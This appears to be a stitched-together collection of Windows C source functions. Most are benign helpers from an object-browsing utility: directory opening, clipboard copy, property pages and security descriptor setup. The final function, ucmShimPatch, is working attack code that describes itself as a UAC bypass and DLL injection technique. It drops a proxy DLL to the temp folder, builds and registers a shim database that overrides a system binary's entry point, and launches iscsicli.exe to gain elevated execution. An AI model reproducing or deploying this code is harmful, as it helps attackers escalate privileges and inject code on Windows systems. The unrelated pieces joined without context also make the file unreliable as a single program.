/* * supOpenDirectoryForObject * * Purpose: * * Open directory for given object, handle self case * */ HANDLE supOpenDirectoryForObject( _In_ LPWSTR lpObjectName, _In_ LPWSTR lpDirectory ) { HANDLE hDirectory; SIZE_T i, l, rdirLen, ldirSz; LPWSTR SingleDirName, LookupDirName; BOOL needFree = FALSE; if ( (lpObjectName == NULL) || (lpDirectory == NULL) ) { return NULL; } LookupDirName = lpDirectory; // // 1) Check if object is directory self // Extract directory name and compare (case insensitive) with object name // Else go to 3 // l = 0; rdirLen = _strlen(lpDirectory); for (i = 0; i < rdirLen; i++) { if (lpDirectory[i] == '\\') l = i + 1; } SingleDirName = &lpDirectory[l]; if (_strcmpi(SingleDirName, lpObjectName) == 0) { // // 2) If we are looking for directory, move search directory up // e.g. lpDirectory = \ObjectTypes, lpObjectName = ObjectTypes then lpDirectory = \ // ldirSz = rdirLen * sizeof(WCHAR) + sizeof(UNICODE_NULL); LookupDirName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ldirSz); if (LookupDirName == NULL) return NULL; needFree = TRUE; //special case for root if (l == 1) l++; supCopyMemory(LookupDirName, ldirSz, lpDirectory, (l - 1) * sizeof(WCHAR)); } // // 3) Open directory // hDirectory = supOpenDirectory(LookupDirName); if (needFree) { HeapFree(GetProcessHeap(), 0, LookupDirName); } return hDirectory; }
/* * supClipboardCopy * * Purpose: * * Copy text to the clipboard. * */ VOID supClipboardCopy( _In_ LPWSTR lpText, _In_ SIZE_T cbText ) { LPWSTR lptstrCopy; HGLOBAL hglbCopy; SIZE_T dwSize; if (OpenClipboard(NULL)) { EmptyClipboard(); dwSize = cbText + sizeof(UNICODE_NULL); hglbCopy = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, dwSize); if (hglbCopy != NULL) { lptstrCopy = GlobalLock(hglbCopy); if (lptstrCopy) { supCopyMemory(lptstrCopy, dwSize, lpText, cbText); } GlobalUnlock(hglbCopy); SetClipboardData(CF_UNICODETEXT, hglbCopy); } CloseClipboard(); } }
/* * propSetBasicInfo * * Purpose: * * Set information values for Basic properties page * */ VOID propSetBasicInfo( _In_ PROP_OBJECT_INFO *Context, _In_ HWND hwndDlg ) { BOOL ExtendedInfoAvailable = FALSE; POBJINFO InfoObject = NULL; if (Context == NULL) { return; } SetDlgItemText(hwndDlg, ID_OBJECT_NAME, Context->lpObjectName); SetDlgItemText(hwndDlg, ID_OBJECT_TYPE, Context->lpObjectType); //desktops should be parsed differently if (Context->TypeIndex != TYPE_DESKTOP) { //try to dump object info InfoObject = ObQueryObject(Context->lpCurrentObjectPath, Context->lpObjectName); ExtendedInfoAvailable = (InfoObject != NULL); if (InfoObject == NULL) { SetDlgItemText(hwndDlg, ID_OBJECT_ADDR, L""); SetDlgItemText(hwndDlg, ID_OBJECT_HEADER, L""); } else { //make copy of received dump supCopyMemory(&Context->ObjectInfo, sizeof(OBJINFO), InfoObject, sizeof(OBJINFO)); // // Set Object Address, Header Address, NP/PP Charge, RefCount, HandleCount, Attributes. // propSetBasicInfoEx(hwndDlg, InfoObject); supHeapFree(InfoObject); } } // // Query Basic Information extended fields per Type. // If extended info not available each routine should query basic info itself. // switch (Context->TypeIndex) { case TYPE_DIRECTORY: //if TRUE skip this because directory is basic dialog and basic info already set if (ExtendedInfoAvailable == FALSE) { propBasicQueryDirectory(Context, hwndDlg); } break; case TYPE_DRIVER: propBasicQueryDriver(Context, hwndDlg); break; case TYPE_DEVICE: propBasicQueryDevice(Context, hwndDlg); break; case TYPE_SYMLINK: propBasicQuerySymlink(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_KEY: propBasicQueryKey(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_MUTANT: propBasicQueryMutant(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_EVENT: propBasicQueryEvent(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_TIMER: propBasicQueryTimer(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_SEMAPHORE: propBasicQuerySemaphore(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_SECTION: propBasicQuerySection(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_WINSTATION: propBasicQueryWindowStation(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_JOB: propBasicQueryJob(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_DESKTOP: propBasicQueryDesktop(Context, hwndDlg); break; case TYPE_IOCOMPLETION: propBasicQueryIoCompletion(Context, hwndDlg, ExtendedInfoAvailable); break; case TYPE_MEMORYPARTITION: propBasicQueryMemoryPartition(Context, hwndDlg); break; } }
/* * propSecurityConstructor * * Purpose: * * Initialize class object, query type info, Vtbl, AccessTable, object specific methods. * */ HRESULT propSecurityConstructor( _In_ IObjectSecurity *This, _In_ PROP_OBJECT_INFO *Context, _In_ POPENOBJECTMETHOD OpenObjectMethod, _In_opt_ PCLOSEOBJECTMETHOD CloseObjectMethod, _In_ ULONG psiFlags ) { BOOL cond = FALSE; ULONG bytesNeeded = 0L; NTSTATUS status; SIZE_T Size; HRESULT hResult; HANDLE hObject = NULL; SI_ACCESS *TypeAccessTable = NULL; POBJECT_TYPE_INFORMATION TypeInfo = NULL; do { This->OpenObjectMethod = OpenObjectMethod; //if no close method specified, use default if (CloseObjectMethod == NULL) { This->CloseObjectMethod = propDefaultCloseObject; } else { This->CloseObjectMethod = CloseObjectMethod; } if (!This->OpenObjectMethod(Context, &hObject, READ_CONTROL)) { hResult = E_ACCESSDENIED; break; } bytesNeeded = 0; status = NtQueryObject(hObject, ObjectTypeInformation, NULL, 0, &bytesNeeded); if (bytesNeeded == 0) { hResult = HRESULT_FROM_WIN32(RtlNtStatusToDosError(status)); break; } TypeInfo = supHeapAlloc(bytesNeeded); if (TypeInfo == NULL) { hResult = HRESULT_FROM_WIN32(GetLastError()); break; } status = NtQueryObject(hObject, ObjectTypeInformation, TypeInfo, bytesNeeded, &bytesNeeded); if (!NT_SUCCESS(status)) { hResult = HRESULT_FROM_WIN32(RtlNtStatusToDosError(status)); break; } This->GenericMapping = TypeInfo->GenericMapping; This->ValidAccessMask = TypeInfo->ValidAccessMask; supHeapFree(TypeInfo); TypeInfo = NULL; This->lpVtbl = &g_Vtbl; This->ObjectContext = Context; This->hInstance = g_WinObj.hInstance; This->psiFlags = psiFlags; TypeAccessTable = propGetAccessTable(This); //allocate access table Size = (MAX_KNOWN_GENERAL_ACCESS_VALUE + This->dwAccessMax) * sizeof(SI_ACCESS); This->AccessTable = supHeapAlloc(Size); if (This->AccessTable == NULL) { hResult = HRESULT_FROM_WIN32(GetLastError()); break; } //copy object specific access table if it present if (TypeAccessTable && This->dwAccessMax) { supCopyMemory(This->AccessTable, Size, TypeAccessTable, (This->dwAccessMax * sizeof(SI_ACCESS)) ); } if (This->ValidAccessMask & DELETE) { supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS), &GeneralAccessValues[0], sizeof(SI_ACCESS)); } if (This->ValidAccessMask & READ_CONTROL) { supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS), &GeneralAccessValues[1], sizeof(SI_ACCESS)); } if (This->ValidAccessMask & WRITE_DAC) { supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS), &GeneralAccessValues[2], sizeof(SI_ACCESS)); } if (This->ValidAccessMask & WRITE_OWNER) { supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS), &GeneralAccessValues[3], sizeof(SI_ACCESS)); } if (This->ValidAccessMask & SYNCHRONIZE) { supCopyMemory(&This->AccessTable[This->dwAccessMax++], sizeof(SI_ACCESS), &GeneralAccessValues[4], sizeof(SI_ACCESS)); } hResult = S_OK; } while (cond); //cleanup This->CloseObjectMethod(This, hObject); if (TypeInfo) { supHeapFree(TypeInfo); } return hResult; }
/* * ucmShimPatch * * Purpose: * * Build, register shim patch database and execute target app with forced Entry Point Override. * Aside from UAC bypass this is also dll injection technique. * */ BOOL ucmShimPatch( CONST PVOID ProxyDll, DWORD ProxyDllSize ) { BOOL bResult = FALSE, cond = FALSE; PDB hpdb; GUID dbGUID, exeGUID; WCHAR szTempDirectory[MAX_PATH * 2]; WCHAR szShimDbPath[MAX_PATH * 2]; WCHAR szSdbinstPath[MAX_PATH * 2]; WCHAR szSystemDirectory[MAX_PATH]; DWORD indexid = MAXDWORD, sz, epRVA = 0; TAGID dbrf, libref, patchref, exeref, matchfileref, patchfileref; PBYTE tmp; PPATCHBITS patchbits; RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath)); RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); do { if (!GetSystemDirectoryW(szSystemDirectory, MAX_PATH)) { break; } wsprintfW(szSdbinstPath, SHIM_SDBINSTALLER, szSystemDirectory); if (CoCreateGuid(&dbGUID) != S_OK) { break; } if (CoCreateGuid(&exeGUID) != S_OK) { break; } RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory)); if (!GetTempPathW(MAX_PATH, szTempDirectory)) { break; } // drop Fubuki RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); wsprintfW(szShimDbPath, L"%wsr3.dll", szTempDirectory); if (!supWriteBufferToFile(szShimDbPath, ProxyDll, ProxyDllSize)) { break; } RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath)); wsprintfW(szShimDbPath, L"%wsamuzani.sdb", szTempDirectory); hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH); if (hpdb == NULL) { break; } if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid)) { break; } if (!SdbStartIndexing(hpdb, indexid)) { break; } SdbStopIndexing(hpdb, indexid); SdbCommitIndexes(hpdb); // begin DATABASE { dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE); if (!SdbWriteStringTag(hpdb, TAG_NAME, L"amuzani")) { break; } SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID)); SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32 // begin LIBRARY { libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY); patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME); // query EP RVA for target RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory)); wsprintfW(szTempDirectory, L"%ws\\%ws", szSystemDirectory, SHIMPATCH_EXENAME); epRVA = supQueryEntryPointRVA(szTempDirectory); if (epRVA == 0) { break; } tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 32 * 1024); if (tmp != NULL) { patchbits = (PPATCHBITS)tmp; sz = 0; patchbits->Opcode = PATCH_REPLACE; patchbits->RVA = epRVA; _strcpy_w(patchbits->ModuleName, SHIMPATCH_EXENAME); supCopyMemory((char *)&patchbits->Pattern, sizeof(patchcode32), patchcode32, sizeof(patchcode32)); patchbits->PatternSize = sizeof(patchcode32); patchbits->ActionSize = sizeof(PATCHBITS) + patchbits->PatternSize; sz += patchbits->ActionSize; SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz); HeapFree(GetProcessHeap(), 0, tmp); } SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH // end LIBRARY SdbEndWriteListTag(hpdb, libref); SdbStartIndexing(hpdb, indexid); // begin EXE { exeref = SdbBeginWriteListTag(hpdb, TAG_EXE); SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME); SdbWriteStringTag(hpdb, TAG_APP_NAME, SHIMPATCH_EXENAME); SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID)); // begin MATCH { matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE); SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME); SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, SHIMPATCH_MSFTFULL); SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF); SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME); SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref); SdbEndWriteListTag(hpdb, patchfileref); SdbEndWriteListTag(hpdb, exeref); // } end EXE // } end DATABASE SdbEndWriteListTag(hpdb, dbrf); SdbCloseDatabaseWrite(hpdb); // Register db and run target. bResult = ucmRegisterAndRunTarget(szSystemDirectory, szSdbinstPath, szShimDbPath, L"%ws\\iscsicli.exe", TRUE); } while (cond); return bResult; }